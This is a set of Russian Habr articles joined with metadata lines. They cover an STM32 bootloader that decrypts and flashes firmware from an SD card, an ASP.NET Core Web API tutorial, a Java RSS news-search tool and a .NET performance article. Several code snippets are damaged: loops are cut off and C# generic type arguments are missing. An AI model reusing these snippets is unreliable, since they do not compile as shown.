f_unlink("FIRMWARE.BIN"); /* Удаляем файл прошивки с SD-карты */
fw_step = FW_FINISH; /* Завершаем загрузчик */
break;
}
f_read(&F, &fw_buf, sizeof(fw_buf), &t); /* Считываем блок 2 Кб */
if(t != sizeof(fw_buf)) /* Если не получилось считать */
{
lcd_putstr("Ошибка чтения", 3, 3); /* Выводим сообщение на экран */
fw_step = FW_ERROR; /* Переходим к шагу обработки ошибки обновления */
break;
}
/* Расшифровываем считанный блок прошивки */
AES_CBC_decrypt_buffer((uint8_t*)&aes_buf, (uint8_t *)&fw_buf, sizeof(fw_buf), AES_FW_KEY, AES_IV);
FLASH_Unlock(); /* Разблокируем FLash-память на запись */
FLASH_ErasePage(idx); /* Стираем страницу памяти */
for(t=0;t
```
Теперь для красоты создадим состояния для обработки ошибки и успешного обновления:
```
case FW_ERROR:
{
/* Можно что-то сделать при ошибке обновления */
break;
}
case FW_FINISH:
{
ExecMainFW(); /* Запускаем основную программу */
/* Дальнейший код выполнен не будет */
break;
}
```
Функцию запуска основной программы ExecMainFW() стоит рассмотреть подробнее. Вот она:
```
void ExecMainFW()
{
/* Устанавливаем адрес перехода на основную программу */
/* Переход производится выполнением функции, адрес которой указывается вручную */
/* +4 байта потому, что в самом начале расположен указатель на вектор прерывания */
uint32_t jumpAddress = *(__IO uint32_t*) (MAIN_PROGRAM_START_ADDRESS + 4);
pFunction Jump_To_Application = (pFunction) jumpAddress;
/*Сбрасываем всю периферию на APB1 */
RCC->APB1RSTR = 0xFFFFFFFF; RCC->APB1RSTR = 0x0;
/*Сбрасываем всю периферию на APB2 */
RCC->APB2RSTR = 0xFFFFFFFF; RCC->APB2RSTR = 0x0;
RCC->APB1ENR = 0x0; /* Выключаем всю периферию на APB1 */
RCC->APB2ENR = 0x0; /* Выключаем всю периферию на APB2 */
RCC->AHBENR = 0x0; /* Выключаем всю периферию на AHB */
/* Сбрасываем все источники тактования по умолчанию, переходим на HSI*/
RCC_DeInit();
/* Выключаем прерывания */
__disable_irq();
/* Переносим адрес вектора прерываний */
NVIC_SetVectorTable(NVIC_VectTab_FLASH, MAIN_PROGRAM_START_ADDRESS);
/* Переносим адрес стэка */
__set_MSP(*(__IO uint32_t*) MAIN_PROGRAM_START_ADDRESS);
/* Переходим в основную программу */
Jump_To_Application();
}
```
Сразу после запуска startup файл все переинициализировал, поэтому основная программа должна вновь выставить указатель на вектор прерывания внутри своего адресного пространства:
```
__disable_irq();
NVIC_SetVectorTable(NVIC_VectTab_FLASH, MAIN_PROGRAM_START_ADDRESS);
__enable_irq();
```
В проекте основной программы нужно указать правильные адреса:
Вот, собственно, и вся процедура обновления. Прошивка проверяется на корректность и шифруется, все поставленные задачи выполнены. В случае потери питания в процессе обновления устройство, конечно, закирпичится, но загрузчик останется нетронутым и процедуру обновления можно будет повторить. Для особо ответственных ситуаций можно заблокировать на запись страницы, в которых находится загрузчик через Option bytes.
Однако, в случае с SD-картой можно организовать для самого себя в загрузчике одно приятное удобство. Когда тестирование и отладка новой версии прошивки завершена, можно заставить само устройство по какому-то особому условию (например, кнопка или джампер внутри) зашифровать и выгрузить на SD-карту готовую прошивку. В таком случае останется только извлечь SD-карту из устройства, вставить в компьютер и выложить прошивку в интернет на радость пользователям. Сделаем это в виде ещё двух состояний конечного автомата:
```
case FW_WRITE:
{
if(f_mount(&FS, "" , 0) == FR_OK) /* Пробуем смонтировать SD-карту*/
{
/* Пробуем создать файл */
if(f_open(&F, "FIRMWARE.BIN", FA_WRITE | FA_CREATE_ALWAYS) == FR_OK)
{
CRC_ResetDR(); /* Сбрасываем блок CRC */
/* Устанавливаем адрес чтения на начало основной программы */
idx = MAIN_PROGRAM_START_ADDRESS;
fw_step = FW_WRITE + 10; /* Переходим к следующему состоянию */
} else {fw_step = FW_ERROR;} /* Переходим к шагу обработки ошибки */
} else {fw_step = FW_ERROR;} /* Переходим к шагу обработки ошибки */
break;
}
case FW_WRITE + 10:
{
if (idx > MAIN_PROGRAM_END_ADDRESS) /* Если выгрузили всю прошивку */
{
t = CRC_GetCRC();
f_write(&F, &t, sizeof(t), &idx); /* Дописываем в конец файла контрольную сумму */
f_close(&F); /* Закрываем файл, сбрасываем кэш */
fw_step = FW_FINISH; /* Завершаем зарузчик */
}
/* Считываем 2 Кб прошивки из Flash-памяти в буфер */
memcpy(&fw_buf, (uint32_t *)idx, sizeof(fw_buf));
for(t=0;t
```
Вот, собственно и всё, что я хотел рассказать. В завершении статьи хотел бы пожелать вам после создания подобного загрузчика не забыть включить защиту от чтения памяти микроконтроллера в Option bytes.
#### Ссылки
[tinyAES](https://github.com/kokke/tiny-AES-c)
[FatFS](http://elm-chan.org/fsw/ff/00index_e.html) | https://habr.com/ru/post/432966/ | null | ru | null |
# Меню для меню, гриды или Бутстрап, целесообразность удобства
Привет, Хабр! Давно я сюда ничего не писал, со времён моего [золотого поста](https://habr.com/company/opera/blog/169239/) про переход Opera на WebKit прошло уже пять лет. Но тут появился повод: завёл себе [блог на Ютубе](https://www.youtube.com/pepelsbey). Чтобы понять, зачем и что это такое — [смотрите пилот](https://youtu.be/neHA4MJwpnY). Если коротко: чтобы разбирать сайты и отвечать на вопросы. А сейчас перед вами 9-й выпуск с ответами на вопросы. Под катом подробности, ссылки, почта для связи и спойлер с остальными видео. Если меня здесь не съедят живьём — буду продолжать постить сюда раз в неделю новые.
Содержание
----------
`00:00:17` Меню для меню
`00:08:08` Гриды или Бутстрап
`00:11:49` Целесообразность удобства
Ссылки
------
* HTML Living Standard (WHATWG) — <https://html.spec.whatwg.org/multipage/>
* HTML 5.3 (W3C) — <https://w3c.github.io/html/>
* W3C или WHATWG — <https://youtu.be/Mqmwx-GcSTs>
* WAI-ARIA 1.2 — <https://w3c.github.io/aria/>
* Menus & Menu Buttons — <https://inclusive-components.design/menus-menu-buttons/>
* Знакомство с гридами — <https://htmlacademy.ru/courses/269>
* Веблайнд — <https://weblind.ru/>
Для связи: [hi@pepelsbey.net](mailto:hi@pepelsbey.net)
**В предыдущих сериях…**
**Техника и софт для съёмки**
Камера: Lumix GH5, Lumix 20mm f/1.7 II
Звук: Audio-Technica AT4053b, Lumix DMW-XLR1
Свет: Aputure Light Storm 120t, Aputure Light Dome
Софт: Final Cut Pro, iZotope RX 7 | https://habr.com/ru/post/429844/ | null | ru | null |
# ASP.NET Core: Создание первого веб-API с использованием ASP.NET Core MVC и Visual Studio
Протокол HTTP может использоваться не только для веб-страниц. Это еще и мощная платформа для создания API, предоставляющих сервисы и данные. Протокол HTTP прост, гибок и широко распространен. Практически любая существующая платформа имеет библиотеку HTTP, поэтому службы HTTP доступны в большом числе клиентов, включая браузеры, мобильные устройства и традиционные офисные приложения.
В новой статье из [серии ASP.NET Core](https://habrahabr.ru/search/?q=%5Bmsaspnetcore%5D&target_type=posts) будет описано создание простого веб-API для работы со списком дел.
Первый цикл статей по ASP.NET Core
----------------------------------
1. [ASP.NET Core на Nano Server](https://habrahabr.ru/company/microsoft/blog/310996/).
2. [Создание внешнего интерфейса веб-службы для приложения](https://habrahabr.ru/company/microsoft/blog/311940/).
3. [Создание первого веб-API с использованием ASP.NET Core MVC и Visual Studio](https://habrahabr.ru/company/microsoft/blog/312878/).
4. [Развертывание веб-приложения в службе приложений Azure с помощью Visual Studio](https://habrahabr.ru/company/microsoft/blog/314252/).
5. [Ваше первое приложение на Mac c использованием Visual Studio Code](https://habrahabr.ru/company/microsoft/blog/315780/).
Введение
--------
ASP.NET Core MVC имеет встроенную поддержку создания веб-API. Объединение двух платформ упрощает создание приложений, включающих как пользовательский интерфейс (HTML), так и API, так как в данном случае у них будет общий код и конвейер.
Примечание: если вы портируете существующее приложение веб-API на ASP.NET Core, [прочитайте о том, как перейти с веб-API ASP.NET](https://docs.asp.net/en/latest/migration/webapi.html).
Описание
--------
В этой статьей будем создавать следующий API:
| | | | |
| --- | --- | --- | --- |
| **API** | **Описание** | **Тело запроса** | **Тело ответа** |
| GET /api/todo | Получить все элементы списка дел | Нет | Массив элементов списка дел |
| GET /api/todo/{id} | Получить элемент по идентификатору | Нет | Элемент списка дел |
| POST /api/todo | Добавить новый элемент | Элемент списка дел | Элемент списка дел |
| PUT /api/todo/{id} | Обновить существующий элемент | Элемент списка дел | Нет |
| PATCH /api/todo/{id} | Обновить существующий элемент | Элемент списка дел | Нет |
| DELETE /api/todo/{id} | Удалить элемент | Нет | Нет |
На диаграмме ниже показана архитектура приложения:
* Клиентом является ПО, которое использует веб-API (браузер, мобильное приложение и прочее). В нашей статье клиент не создается. Для тестирования приложения будет использоваться [Postman](https://www.getpostman.com/).
* **Модель** — это объект, который представляет данные в нашем приложении. В данном случае единственная модель — это элемент списка дел. Модели представлены простыми классами C# (POCO).
* **Контроллер** — это объект, который обрабатывает HTTP-запрос и создает HTTP-ответ. В данном приложении один контроллер.
* Для простоты в этом материале для работы приложения не будет использоваться база данных. Вместо этого элементы списка просто хранятся в памяти. Однако уровень доступа к данным будет включен, чтобы показать раздельность веб-API и уровня данных. Вариант с использованием базы данных описан в [статье](https://docs.asp.net/en/latest/tutorials/first-mvc-app/index.html).
Создание проекта
----------------
Запустите Visual Studio. В меню **File** выберите пункт **New > Project**. Выберите шаблон проекта **ASP.NET Core Web Application (.NET Core)**. Назовите проект `TodoApi`, снимите отметку **Host in the cloud** и нажмите **OK**.
В окне **New ASP.NET Core Web Application (.NET Core) — TodoApi** выберите шаблон **Web API**. Нажмите **OK**.
Добавление класса модели
------------------------
Модель — это объект, который представляет данные в нашем приложении. В данном случае единственная модель — это элемент списка дел.
Добавьте каталог с именем «Models». В обозревателе решений нажмите правую кнопку мыши на проекте. Выберите пункт **Add > New Folder**. Ведите имя каталога **Models**.
Примечание: классы модели могут находиться в любом месте проекта, но обычно их размещают в каталоге **Models**.
Добавьте класс `TodoItem`. Нажмите правую кнопку мыши на каталоге **Models** и выберите пункт **Add > Class**. Ведите имя класса `TodoItem` и нажмите **Add**.
Замените сформированный код следующим:
```
namespace TodoApi.Models
{
public class TodoItem
{
public string Key { get; set; }
public string Name { get; set; }
public bool IsComplete { get; set; }
}
}
```
Добавление класса репозитория
-----------------------------
**Репозиторий** — это объект, который инкапсулирует уровень данных и содержит логику для извлечения данных и направлениях их к модели. Хотя в данном приложении не используется база данных, имеет смысл показать, как можно внедрять репозитории в контроллеры. Создайте код репозитория в каталоге **Models**.
Начните с определения интерфейса репозитория с названием `ITodoRepository`. Используйте шаблон класса **(Add New Item > Class)**.
```
using System.Collections.Generic;
namespace TodoApi.Models
{
public interface ITodoRepository
{
void Add(TodoItem item);
IEnumerable GetAll();
TodoItem Find(string key);
TodoItem Remove(string key);
void Update(TodoItem item);
}
}
```
Этот интерфейс определяет основные операции CRUD.
Затем добавьте класс `TodoRepository`, который реализует `ITodoRepository`:
```
using System;
using System.Collections.Generic;
using System.Collections.Concurrent;
namespace TodoApi.Models
{
public class TodoRepository : ITodoRepository
{
private static ConcurrentDictionary \_todos =
new ConcurrentDictionary();
public TodoRepository()
{
Add(new TodoItem { Name = "Item1" });
}
public IEnumerable GetAll()
{
return \_todos.Values;
}
public void Add(TodoItem item)
{
item.Key = Guid.NewGuid().ToString();
\_todos[item.Key] = item;
}
public TodoItem Find(string key)
{
TodoItem item;
\_todos.TryGetValue(key, out item);
return item;
}
public TodoItem Remove(string key)
{
TodoItem item;
\_todos.TryRemove(key, out item);
return item;
}
public void Update(TodoItem item)
{
\_todos[item.Key] = item;
}
}
}
```
Постройте приложение, чтобы убедиться, что компилятор не выдает ошибок.
Регистрация репозитория
-----------------------
При определении интерфейса репозитория мы можем отделить класс репозитория от контроллера MVC, который его использует. Вместо реализации `TodoRepository` внутри контроллера мы внедрим `TodoRepository`, используя встроенную в ASP.NET Core поддержку [внедрения зависимостей](https://docs.asp.net/en/latest/fundamentals/dependency-injection.html).
Такой подход упрощает модульное тестирование контроллеров. Модульные тесты внедряют «фиктивную» или «имитационную» версию `ITodoRepository`. В этом случае тест нацелен на логику контроллера, а не на уровень доступа к данным.
Для внедрения репозитория в контроллер необходимо зарегистрировать его при помощи контейнеров DI. Откройте файл **Startup.cs**. Добавьте следующую директиву using:
```
using TodoApi.Models;
```
В метод `ConfigureServices` добавьте выделенный код:
```
public void ConfigureServices(IServiceCollection services)
{
// Add framework services.
services.AddMvc();
services.AddSingleton();
}
```
Добавление контроллера
----------------------
В обозревателе решений нажмите правую кнопку мыши на каталоге **Controllers**. Выберите пункт **Add > New Item**. В окне **Add New Item** выберите шаблон **Web API Controller Class**. Введите имя класса `TodoController`.
Замените сформированный код следующим:
```
using System.Collections.Generic;
using Microsoft.AspNetCore.Mvc;
using TodoApi.Models;
namespace TodoApi.Controllers
{
[Route("api/[controller]")]
public class TodoController : Controller
{
public TodoController(ITodoRepository todoItems)
{
TodoItems = todoItems;
}
public ITodoRepository TodoItems { get; set; }
}
}
```
Таким образом определяется класс пустого контроллера. В следующих разделах описывается добавление методов для реализации API.
Получение элементов списка дел
------------------------------
Чтобы получить элементы списка дел, добавьте следующие методы в класс `TodoController`:
```
public IEnumerable GetAll()
{
return TodoItems.GetAll();
}
[HttpGet("{id}", Name = "GetTodo")]
public IActionResult GetById(string id)
{
var item = TodoItems.Find(id);
if (item == null)
{
return NotFound();
}
return new ObjectResult(item);
}
```
Эти методы реализуют два метода GET:
* `GET /api/todo`
* `GET /api/todo/{id}`
В данном случае HTTP-ответ для метода `GetAll` будет следующим:
```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
Date: Thu, 18 Jun 2015 20:51:10 GMT
Content-Length: 82
[{"Key":"4f67d7c5-a2a9-4aae-b030-16003dd829ae","Name":"Item1","IsComplete":false}]
```
Далее расскажем, как можно просматривать HTTP-ответы при помощи [Postman](https://www.getpostman.com/).
#### Маршрутизация и URL-пути
Атрибут `HttpGet` (**HttpGetAttribute**) определяет метод HTTP GET. URL-путь для каждого метода строится следующим образом:
* Возьмите строку шаблона из атрибута route контроллера: `[Route("api/[controller]")]`
* Замените [Controller] на имя контроллера, которое вы получите, взяв имя класса контроллера и убрав суффикс «Controller». В нашем примере имя класса контроллера — **Todo**Controller, а корневое имя — todo. [Маршрутизация](https://docs.asp.net/en/latest/mvc/controllers/routing.html) в ASP.NET Core не учитывает регистр.
* Если атрибут `[HttpGet]` имеет строку шаблона, добавьте ее к пути. В данном примере строка шаблона не используется.
В методе `GetById`:
```
[HttpGet("{id}", Name = "GetTodo")]
public IActionResult GetById(string id)
```
`"{id}"`— это величина, заменяемая на идентификатор элемента `todo`. Когда `GetById` вызывается, значение “{id}” в URL присваивается параметру `id` метода.
`Name = "GetTodo"` создает именованный маршрут, позволяющий ссылаться на него в HTTP-ответе. В дальнейшем это будет показано на примере.
#### Возвращаемые значения
Метод `GetAll` возвращает `IEnumerable`. MVC автоматически сериализует объект в JSON и записывает [JSON](http://www.json.org/) в тело ответа. Код ответа для этого метода — 200, в том случае если нет необработанных исключений (необработанные исключения переводятся в ошибки 5xx.)
В свою очередь метод `GetById` возвращает значение более общего типа `IActionResult`, который представлен большим количеством типов возвращаемых значений. `GetById` имеет два различных типа возвращаемых значений:
* Если нет соответствия запрашиваемому идентификатору, метод возвращает ошибку 404. Это происходит при возврате `NotFound`.
* В остальных случаях метод возвращает код 200 и тело ответа в формате JSON. Это происходит при возврате `ObjectResult`.
#### Запуск приложения
Нажмите сочетание клавиш CTRL+F5 в Visual Studio, чтобы запустить приложение. Запустится браузер и откроется веб-страница `http://localhost:port/api/values`, где **port** является произвольно выбранным номером порта. Если используется Chrome, Edge или Firefox, будут отображены данные. При использовании IE будет предложено открыть или сохранить файл **values.json**.
Реализация других операций CRUD
-------------------------------
Добавим методы `Create`, `Update` и `Delete`. Этот процесс аналогичен тому, о чем речь шла ранее, поэтому здесь будет показан код и выделены основные отличия. Создайте проект после добавления или изменения кода.
#### Create
```
[HttpPost]
public IActionResult Create([FromBody] TodoItem item)
{
if (item == null)
{
return BadRequest();
}
TodoItems.Add(item);
return CreatedAtRoute("GetTodo", new { id = item.Key }, item);
}
```
Это метод HTTO POST, указанный в атрибуте [[HttpPost]](https://docs.asp.net/projects/api/en/latest/autoapi/Microsoft/AspNetCore/Mvc/HttpPostAttribute/index.html). Атрибут [[FromBody]](https://docs.asp.net/projects/api/en/latest/autoapi/Microsoft/AspNetCore/Mvc/FromBodyAttribute/index.html) посылает команду MVC получить значение элемента списка дел из тела HTTP-запроса.
Метод [CreatedAtRoute](https://docs.asp.net/projects/api/en/latest/autoapi/Microsoft/AspNetCore/Mvc/Controller/index.html) возвращает ответ 201, который является стандартным ответом для метода HTTP POST, создающего новый ресурс на сервере. `CreateAtRoute` также добавляет в ответ заголовок Location. Заголовок Location указывает URL созданного элемента списка дел. Описание: [10.2.2 201 Created](http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html).
#### Использование Postman для отправки запроса Create
* Установите `POST` в качестве метода HTTP.
* Выберите переключатель **Body**.
* Выберите переключатель **raw**.
* Выберите тип JSON.
* В редакторе пар ключ-значение укажите элемент Todo следующим образом: `{"Name":""}`.
* Нажмите **Send**.
Выберите закладку Headers и скопируйте заголовок **Location**:
Для доступа к ресурсу, который только что создан, можно использовать URL из заголовка Location. Повторно вызовите метод `GetById`, создавший именованный маршрут `"GetTodo"`:
```
[HttpGet("{id}", Name = "GetTodo")]
public IActionResult GetById(string id)
```
#### Update
```
[HttpPut("{id}")]
public IActionResult Update(string id, [FromBody] TodoItem item)
{
if (item == null || item.Key != id)
{
return BadRequest();
}
var todo = TodoItems.Find(id);
if (todo == null)
{
return NotFound();
}
TodoItems.Update(item);
return new NoContentResult();
}
```
`Update` подобен `Create`, но использует HTTP PUT. Ответ [204 (Нет содержимого)](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html). Согласно спецификации по HTTP по запросу PUT требуется, чтобы клиент отправил обновленный объект полностью, а не только дельты. Для поддержки частичных обновлений используйте HTTP PATCH.
#### Update с использованием Patch
Аналогично `Update`, но с использованием HTTP PATCH. Ответ [204 (Нет содержимого)](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html).
```
[HttpPatch("{id}")]
public IActionResult Update([FromBody] TodoItem item, string id)
{
if (item == null)
{
return BadRequest();
}
var todo = TodoItems.Find(id);
if (todo == null)
{
return NotFound();
}
item.Key = todo.Key;
TodoItems.Update(item);
return new NoContentResult();
}
```
#### Delete
```
[HttpDelete("{id}")]
public IActionResult Delete(string id)
{
var todo = TodoItems.Find(id);
if (todo == null)
{
return NotFound();
}
TodoItems.Remove(id);
return new NoContentResult();
}
```
Ответ [204 (Нет содержимого)](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html).
 | https://habr.com/ru/post/312878/ | null | ru | null |
# Поисковик новостей (RSS), написанный на Java + SQLite
Данная идея не претендует на уникальность. Суть проста - тратить как можно меньше времени на чтение интересующих вас новостей, отсеивая ненужные заголовки. Проект делал в рамках моего обучения языку Java и SQL, начиная с 2018 года.
Для работы приложения на ПК должна быть установлена [Java](https://www.java.com/ru/download/). Актуальная версии программы - [News](https://github.com/mrprogre/news_lite/raw/master/news.jar)
Исходный код программы можно посмотреть на [github](https://github.com/mrprogre/news_lite). Проект будет полезно изучить тем, кто хочет создавать свои десктопные приложения на Swing (но рекомендую изучать [JavaFX](https://ru.wikipedia.org/wiki/JavaFX)) или для изучения процесса работы с базой данных посредством чистого [JDBC](https://ru.wikipedia.org/wiki/Java_Database_Connectivity). Для улучшения дизайна интерфейса применён [FlatLaf](https://github.com/JFormDesigner/FlatLaf).
Поиск ведётся по активным RSS, указанным в Sources. У каждого пользователя может быть свой набор источников. При создании нового пользователя будут автоматически добавлены некоторые источники новостей.
Возможности программы:* многопользовательский режим (быстрое переключение между пользователями)
* поиск по одному слову или всех новостей (при пустом поле Keyword) с отсевом исключённых заголовков (слова для отсева добавляются по кнопке excluded)
* поиск по ключевым словам без исключения заголовков
* отправка результата поиска на электронную почту (+ возможность выбора автоматической отправки результатов после каждого поиска)
* экспорт результатов поиска в Excel
* двойной щелчок по заголовку открывает веб-страницу новости
* добавление заголовков в избранные
* описание новости, чтобы не переходить по ссылке
* подсчёт частоты употребления слов в заголовках новостей (Топ 10 за период - повестка дня. Добавлена возможность исключать ненужные слова)
* двойной щелчок по слову в Топ 10 покажет все новости из архива с данным словом без отсева
* автоматическое обновление данных для основного поиска или поиска по ключевым словам каждые 60 секунд
* возможность работы в клиенте SQLite
* возможность добавления новых RSS (а также их деактивация или удаление)
* работа с датами (напоминание о различных событиях при входе в программу, которые можно добавлять)
* панель с быстрым доступом к сайтам (правой кнопкой мыши на ярлыке можно изменить ссылку на любую другую)
* перевод английских заголовков
* изучение случайных английских слов (5000 слов)
* персонализация настроек почты и интерфейса
Добавлена возможность работы с приложением из консоли. Так news.jar можно выложить на сервер и указать в сrontab (crontab -e) команду для круглосуточного вызова программы.
`30 10 * * * java -jar ./news.jar from@mail.ru from_password to@mail.ru 1440 гамак fisu адмирал >> /home/user/news.log`
Параметр № 1 - почта с которой происходит отправка, 2 - пароль, 3 - адресат, 4 - интервал (момент вызова минус 1440 минут (сутки), 5 .. n ключевые слова для поиска. Т.е. каждый день в 10:30 утра я получал все новости за сутки по указанным словам + вёл лог):
Вызове данной команды вручную в Windows PowerShell:
На почту новости приходят в таком виде:
Путь к файлам:
**Windows**: *C:\Users\username\News*
**Linux**: *home/username/News* | https://habr.com/ru/post/595749/ | null | ru | null |
# Простые шаги по повышению производительности ASP NET Core приложения
Разработка сложной системы предполагает что вы, рано или поздно, столкнетесь с вопросом повышения производительности вашего приложения. Выполнив поиск по разным источникам вы найдете множество рекомендаций по улучшению производительности как для конкретных ситуаций и узких мест, так и применимых для всего приложения. В этой статье мы рассмотрим те рекомендации, которые призваны улучшить производительность всего приложения при минимальных трудозатратах. Мы протестируем оказываемый на приложение эффект, вычислим возможный прирост производительности от каждой из них и рассмотрим нет ли подводных камней, которые стоит учитывать.
Статья будет полезна разработчикам и лидерам команд, стремящимся улучшить производительность системы в целом. Также статья будет полезна опытным разработчикам, которые смогут использовать список рекомендаций из данной статьи в качестве отправной точки для создания или дополнения собственного чеклиста по улучшению производительности ASP NET Core приложений.
Когда возникает необходимость в оптимизации
-------------------------------------------
Производительность это большая и сложная тема. Для ее раскрытия в полной мере требуется затронуть все части приложения: от исходного кода, написанного вашей командой, до используемых сторонних библиотек, баз данных и инфраструктуры. Также нельзя раскрыть тему производительности, обойдя стороной вопрос ее измерения. Для определения уровня производительности системы, ее поведения под нагрузкой, необходимо проведение нагрузочного тестирования, используя также разнообразные инструменты мониторинга.
В любом приложении от простого CRUD до распределенной микросервисной системы всегда найдутся нюансы, множество реальных (и мнимых) узких мест и слишком многое может пойти не так при попытке оптимизации. С чего же начать ? Давайте попытаемся сузить область поиска, смоделировав разные ситуации когда разработчики обычно сталкиваются с необходимостью оптимизации.
По моему опыту, наиболее частый источник задач по оптимизации это ситуации, когда пользователи испытывают ощутимый дискомфорт при работе с определенной функцией приложения. Решаются такие задачи чаще всего внесением изменений в определенную часть кода, редко затрагивая остальное приложение. Каждая такая ситуация уникальна и требует индивидуального подхода к ее решению. Общих рекомендаций по решению таких задач обычно нет, есть только общий подход - подтвердить проблемный участок кода с помощью нагрузочного тестирования, зафиксировать начальные результаты и вносить улучшения до достижения приемлемых значений.
В каких еще случаях разработчики задумываются о повышении производительности ? Например, отдел продаж радостно сообщает что скоро будет подписан договор с новым клиентом что принесет несколько десятков тысяч новых пользователей, или что планируется мощная маркетинговая кампания со схожим ожидаемым эффектом. В данном случае возникает необходимость в оптимизации, но гораздо сложнее определить конкретную задачу и фокус подготовительных работ. Задача может звучать следующим образом: *\*"Необходимо повысить производительность всего приложения"\**. Какой можно применить подход для решения задачи с настолько широким охватом ? Значит ли это что придется оптимизировать каждую функцию в приложении (или как минимум дюжину наиболее часто вызываемых), или есть менее трудозатратное решение ? Есть ли рекомендации по повышению производительности, для исполнения которых требуются минимальные трудозатраты, и которые при этом имеют достаточный эффект для всего приложения ?
Выполнив небольшое исследование в интернете вы сразу найдете несколько рекомендаций для общего повышения производительности ASP NET Core приложения, но перед их применением вам нужно иметь достаточно информации о том сколько трудозатрат необходимо для каждой из них, и какой эффект они смогут оказать для пропускной способности вашего приложения (желательно иметь цифры в RPS - requests per second). На этот вопрос мы и постараемся ответить в этой статье.
В данной статье мы рассмотрим следующие рекомендации:
* Используйте последние версии фреймворка и библиотек.
* Используйте System.Text.Json.
* Используйте серверный режим работы GC.
* Используйте async/await.
* Вручную настройте количество потоков в пуле.
О чем нужно помнить перед началом работ по оптимизации
------------------------------------------------------
Перед началом работ по оптимизации, необходимо учитывать два важных фактора.
Во-первых, ваше приложение не должно потерять в функциональности. Для защиты от регрессии у вас должен быть набор интеграционных или end-to-end тестов, который подтвердит что изменения не сломали ваш функционал. Это справедливо для любого рефакторинга.
Во-вторых, при любых оптимизациях обязательно опирайтесь на метрики. Вы должны зафиксировать значения до внесения изменений, чтобы убедится, что вы сделали лучше, а не хуже. Даже самые простые и на первый взгляд предсказуемые изменения могут привести к неожиданной деградации производительности, в чем мы с вами убедимся во время одного из тестов.
System under test
-----------------
Для проверки разных рекомендаций мы будем использовать урезанную версию CMS (ASP NET Core API и Entity Framework Core), основанную на тестовой базе Microsoft (Adventureworks), которая может возвращать товары и заказы. Приложение будет похоже на большинство веб-сервисов, которые принимают запросы и что-то возвращают из базы данных. База и другие зависимости будут разворачиваться командой `docker compose up`. В качестве инструмента нагрузочного тестирования мы будем использовать [Nbomber](https://habr.com/ru/post/664824/), а в качестве инструмента мониторинга `dotnet counters` и PerfView. Код всех рассматриваемых примеров и нагрузочных тестов доступен на GitHub по [ссылке](https://github.com/MrPomidor/ASPNetPerfImprovementsDemo).
Стоит также отметить что приведенные в статье результаты тестов и оптимизаций будут уникальны для конфигурации OS и железа на котором проводилось нагрузочное тестирование. Их цель дать оценку тому эффекту, который можно ожидать от того или иного изменения. Для вашей системы и вашей конфигурации железа цифры будут отличаться. Всегда подтверждайте позитивный (или негативный) эффект от внесенных изменений на конфигурации, максимально приближенной к вашему проду.
Рекомендация 1: Используйте последнюю версию фреймворка и библиотек
-------------------------------------------------------------------
Выпуская новые версии NET а также связанных фреймворков и библиотек, таких как ASP NET Core и Entity Framework Core, Microsoft не только расширяет API и вводит новые фичи, но и постоянно работает над улучшением производительности. Оптимизируется использование памяти, существующие API расширяются поддержкой copy-free типов, таких как `Span`, `Memory`, расширяется поддержка `ValueTask` и т.д. За работами по оптимизации можно наблюдать на GitHub по issues с соответствующими тегами (например для [ASP NET](https://github.com/dotnet/aspnetcore/labels/area-perf) и для [Runtime](https://github.com/dotnet/runtime/labels/optimization)). Читая release notes каждой новой версии можно сделать вывод - фреймворк становится быстрее.
Обновление версии фреймворка может быть как быстрым и безопасным (изменить значение `TargetFramework` в конфигурации проекта и обновить версии библиотек в NuGet), так и достаточно непредсказуемым и сложным процессом, требующим некоторых изменений в коде, адаптации API новых версий библиотек, исправления появившихся ошибок и т.д. Для принятия решения о переводе проекта на новую версию фреймворка лидеру команды необходимо понимать какой это принесет результат, насколько это улучшит производительность. Проведем тестирование и постараемся ответить на этот вопрос.
Для теста нам понадобится два API проекта с разными LTS версиями фреймворка (Core 3.1 и NET 6), код которых будет идентичен. Будем тестировать два метода:
```
private readonly AdventureWorks _dbContext;
public CustomerController(AdventureWorks dbContext)
{
_dbContext = dbContext;
}
[HttpGet("orders")]
public async Task GetOrders(int pageNumber = 1, int pageSize = 100)
{
var orders = await \_dbContext.SalesOrderHeaders.AsQueryable().AsNoTracking()
.Include(x => x.SalesOrderDetails)
.OrderBy(x => x.SalesOrderID)
.Skip((pageNumber - 1) \* pageSize)
.Take(pageSize)
.ToListAsync();
return Ok(orders);
}
[HttpGet("products")]
public async Task GetProducts(int pageNumber = 1, int pageSize = 100)
{
var products = await \_dbContext.Products.AsQueryable().AsNoTracking()
.OrderBy(x => x.ProductID)
.Skip((pageNumber - 1) \* pageSize)
.Take(pageSize)
.ToListAsync();
return Ok(products);
}
```
В [тестовом сценарии](https://github.com/MrPomidor/ASPNetPerfImprovementsDemo/tree/master/Solution/FrameworkVersionsComparison) 14 параллельных клиентов (по 7 на каждый метод) будут отправлять максимально возможное количество запросов в течении 3-х минут. Так мы сможем увидеть разницу в пиковой производительности. Подробнее о нагрузочном тестировании с помощью NBomber можно ознакомится по [ссылке](https://nbomber.com/docs/loadtesting-basics).
```
var ordersScenario = ScenarioBuilder.CreateScenario("Orders", getOrdersPageStep)
.WithWarmUpDuration(TimeSpan.FromSeconds(10))
.WithLoadSimulations(
LoadSimulation.NewKeepConstant(_copies: 7, _during: TimeSpan.FromMinutes(3))
);
var productsScenario = ScenarioBuilder.CreateScenario("Products", getProductsPageStep)
.WithWarmUpDuration(TimeSpan.FromSeconds(10))
.WithLoadSimulations(
LoadSimulation.NewKeepConstant(_copies: 7, _during: TimeSpan.FromMinutes(3))
);
```
Результаты показывают ощутимый прирост - приложение в пиковой нагрузке сможет обработать на **39** процентов запросов больше (с временем отклика менее 1-й секунды).
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Framework | orders (RPS) | orders mean (ms) | products (RPS) | products mean (ms) | all (RPS) |
| Core 3.1 | 23.6 | 241.09 | 96.1 | 63.29 | 119.7 |
| NET 6 | 35.4 | 197.29 | 132.1 | 52.98 | 167.5 |
Стоит отметить что мы тестировали пиковые значения пропускной способности методов. При одинаковом RPS скорость отклика будет лишь незначительно меньше.
| | | |
| --- | --- | --- |
| Framework | orders mean (ms) | products mean (ms) |
| Core 3.1 | 292.49 | 99.61 |
| NET 6 | 238.46 | 102.17 |
